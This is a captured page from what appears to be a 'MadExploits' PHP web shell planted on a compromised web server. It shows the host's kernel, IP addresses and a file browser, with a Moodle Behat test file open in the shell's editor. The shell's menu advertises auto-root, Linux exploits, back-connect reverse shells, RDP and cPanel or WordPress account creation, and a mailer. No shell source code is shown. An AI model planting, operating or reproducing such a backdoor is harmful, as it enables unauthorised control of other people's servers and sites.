Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.127.73
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
files /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
add_custom_file_type.feature
1.62
KB
-rw-r--r--
course_files.feature
1.42
KB
-rw-r--r--
license_help_modal.feature
2.44
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : add_custom_file_type.feature
@core @core_files @_file_upload Feature: Add a new custom file type In order to add files of a custom type As an admin I need to add a new custom file type @javascript Scenario: Add custom file type Given the following "courses" exist: | fullname | shortname | category | legacyfiles | | Course 1 | C1 | 0 | 2 | And the following "users" exist: | username | firstname | lastname | email | | teacher1 | Teacher | 1 | teacher1@example.com | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | And I log in as "admin" And I navigate to "Server > File types" in site administration And I press "Add a new file type" And I set the following fields to these values: | Extension | mdlr | | MIME type | application/x-moodle-rules | | File icon | document | | Description type | Custom description specified in this form | | Custom description | Moodle rules | And I press "Save changes" And I should see "application/x-moodle-rules" And I log out And I log in as "teacher1" And I am on "Course 1" course homepage with editing mode on When I add a "File" to section "1" and I fill the form with: | Name | Test file | | Select files | files/tests/fixtures/custom_filetype.mdlr | | Show type | 1 | | Display resource description | 1 | And I am on "Course 1" course homepage Then I should see "Test file" And I should see "Moodle rules" in the "span.resourcelinkdetails" "css_element"
Close